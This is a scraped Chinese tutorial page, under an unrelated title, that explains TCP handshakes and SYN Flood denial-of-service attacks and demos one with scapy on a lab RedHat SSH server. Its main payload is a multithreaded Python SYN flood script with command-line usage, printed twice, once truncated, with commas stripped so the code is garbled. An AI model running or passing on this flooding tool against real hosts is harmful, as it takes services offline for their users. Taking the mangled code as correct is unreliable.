快捷搜索:  汽车  科技

错误代码0x20(0X02拒绝服务SYN)

错误代码0x20(0X02拒绝服务SYN)看起来,已经成功了吗?很明显不是,单个的包占用并不能造成影响。那我们该怎么办呢?对,通过代码来循环操作就可以了。下面是通过python3编写的代码:# -*- coding: utf-8 -*- from scapy.all import * from scapy.layers.inet import IP TCP from time import sleep import threading import random import logging def synflood(target port): while True: x = random.randint(0 65535) send(IP(dst=target)/TCP(dport=port sport=x) verbose=0) logging.getLogger("scapy.runtime").s

  • 什么是tcp 三次握手?
    了解SYN Flood攻击,我们先了解一下TCP三次握手。我们需要计算机之间相互传输的信息之前,首先要确定相互之间网络中的位置,以及确定是否能够链接。我们需要先进行三次握手。三次握手成功之后就表示可以正常相互链接。那么接下来我们来看看这三次握手。建立三次握手流程:客户端首先发送SYN 信息,表示请求链接。服务器收到SYN信息之后,返回SYN ACK 包,表示请求已经收到,并且请求链接。客户端接收到SYN ACK 包之后,返回ACK包给服务器之后,三次握手建立成功。

错误代码0x20(0X02拒绝服务SYN)(1)

(注意:在三次握手之间,服务器发送SYN ACK之后,服务器会保留一段时间的资源来等待客户端的ACK包反馈)

  • 什么是SYN Flood 攻击?
    上面我们已经了解了TCP三次握手,那么,接下来,我们来看看什么是SYN Flood 攻击。它也是一种拒绝服务攻击。核心点就是攻击者给服务器发送SYN包,并且不去应答服务器的返回包(SYN ACK)。这样在一定时间内服务器的资源会被消耗。当然,在长时间的超时,服务器会释放资源。这个时候攻击者会不停的发送SYN包。让服务器的资源始终被占用着。这样,对于一些正常的请求。服务器由于没有对应的资源响应。而达到无法提供服务的目的。
    注释:对于不了解拒绝服务攻击的朋友可以查看如下链接:https://bbs.zkaq.cn/t/4537.html
  • 演示SYS Flood 攻击
    上面已经说了该攻击的原理,接下来,我们就演示一下。下面是我演示需要的环境。
  • 攻击端(Python3)地址:192.168.1.83
  • 被攻击服务器 (Redhat7)地址:192.168.1.42
  • 攻击的服务为SSH
  1. 首先,刚刚我们已经说过了。攻击需要发送一个SYN包。下面,我使用scapy来编辑发送一个SYN包。
    我们在环境当中运行scapy

错误代码0x20(0X02拒绝服务SYN)(2)

我们通过对象ip() TCP()来分别新建一个ip请求头,tcp请求头。

错误代码0x20(0X02拒绝服务SYN)(3)

错误代码0x20(0X02拒绝服务SYN)(4)


发送包:

错误代码0x20(0X02拒绝服务SYN)(5)

通过抓包,我们来查看我们发送的包:

错误代码0x20(0X02拒绝服务SYN)(6)

看起来,已经成功了吗?很明显不是,单个的包占用并不能造成影响。那我们该怎么办呢?对,通过代码来循环操作就可以了。下面是通过python3编写的代码:

# -*- coding: utf-8 -*- from scapy.all import * from scapy.layers.inet import IP TCP from time import sleep import threading import random import logging def synflood(target port): while True: x = random.randint(0 65535) send(IP(dst=target)/TCP(dport=port sport=x) verbose=0) logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) != 4: print("用法: ./Dos_test.py [IP地址] [端口] [线程数]") print("举例:./Dos_test.py 192.168.1.42 80 20") sys.exit() target = str(sys.argv[1]) port = int(sys.argv[2]) threads = int(sys.argv[3]) print("正在执行SYN Flood 攻击,按Ctrl C 停止攻击") for x in range(0 threads): t = threading.Thread(target=synflood args=(target port)) t.start() while True: sleep(1)

下面我们来运行该程序:

错误代码0x20(0X02拒绝服务SYN)(7)

抓包查看,这个时候我们发现,大量的SYN包在进行发送。

错误代码0x20(0X02拒绝服务SYN)(8)

猜您喜欢: